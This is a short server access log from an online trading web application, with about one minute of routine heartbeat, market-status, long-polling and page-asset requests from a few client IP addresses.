[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 125
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:13:24:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936540787 HTTP/1.1" -
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 294
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:24:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:24:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:24:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 208
[09/Jan/2026:13:24:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:24:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:24:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:13:24:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:13:24:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936560419 HTTP/1.1" -
[09/Jan/2026:13:24:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:24:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1681
[09/Jan/2026:13:24:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936545779 HTTP/1.1" -
[09/Jan/2026:13:24:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:24:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936545873 HTTP/1.1" -
[09/Jan/2026:13:24:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936566190 HTTP/1.1" -
[09/Jan/2026:13:24:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936550919 HTTP/1.1" -
[09/Jan/2026:13:24:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936550950 HTTP/1.1" -
[09/Jan/2026:13:24:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936555972 HTTP/1.1" -
[09/Jan/2026:13:24:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936572198 HTTP/1.1" -
[09/Jan/2026:13:24:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:24:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936556025 HTTP/1.1" -
[09/Jan/2026:13:24:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:24:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:24:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936561108 HTTP/1.1" -
[09/Jan/2026:13:24:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936578194 HTTP/1.1" -
[09/Jan/2026:13:24:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936561081 HTTP/1.1" -
[09/Jan/2026:13:24:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936566162 HTTP/1.1" -
[09/Jan/2026:13:24:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936566106 HTTP/1.1" -
[09/Jan/2026:13:24:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936584189 HTTP/1.1" -
[09/Jan/2026:13:25:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936571296 HTTP/1.1" -
[09/Jan/2026:13:25:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936571162 HTTP/1.1" -
[09/Jan/2026:13:25:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:25:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:25:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:25:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:25:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:25:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:25:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:25:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:25:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936590190 HTTP/1.1" -
[09/Jan/2026:13:25:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:25:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:25:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936576438 HTTP/1.1" -
[09/Jan/2026:13:25:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936576235 HTTP/1.1" -
[09/Jan/2026:13:25:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936596190 HTTP/1.1" -
[09/Jan/2026:13:25:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936581488 HTTP/1.1" -
[09/Jan/2026:13:25:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936581297 HTTP/1.1" -
[09/Jan/2026:13:25:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936601223 HTTP/1.1" -
[09/Jan/2026:13:25:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936586633 HTTP/1.1" -
[09/Jan/2026:13:25:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:25:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:25:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936586366 HTTP/1.1" -
[09/Jan/2026:13:25:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:25:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:25:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936606279 HTTP/1.1" -
[09/Jan/2026:13:25:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:25:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:25:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936591827 HTTP/1.1" -
[09/Jan/2026:13:25:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936591432 HTTP/1.1" -
[09/Jan/2026:13:25:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936611345 HTTP/1.1" -
[09/Jan/2026:13:25:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936596892 HTTP/1.1" -
[09/Jan/2026:13:25:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936596468 HTTP/1.1" -
[09/Jan/2026:13:25:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936616406 HTTP/1.1" -
[09/Jan/2026:13:25:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936601932 HTTP/1.1" -
[09/Jan/2026:13:25:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:25:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:25:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936601543 HTTP/1.1" -
[09/Jan/2026:13:25:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:25:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:25:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:25:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:25:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:25:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:25:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936621474 HTTP/1.1" -
[09/Jan/2026:13:25:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:25:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
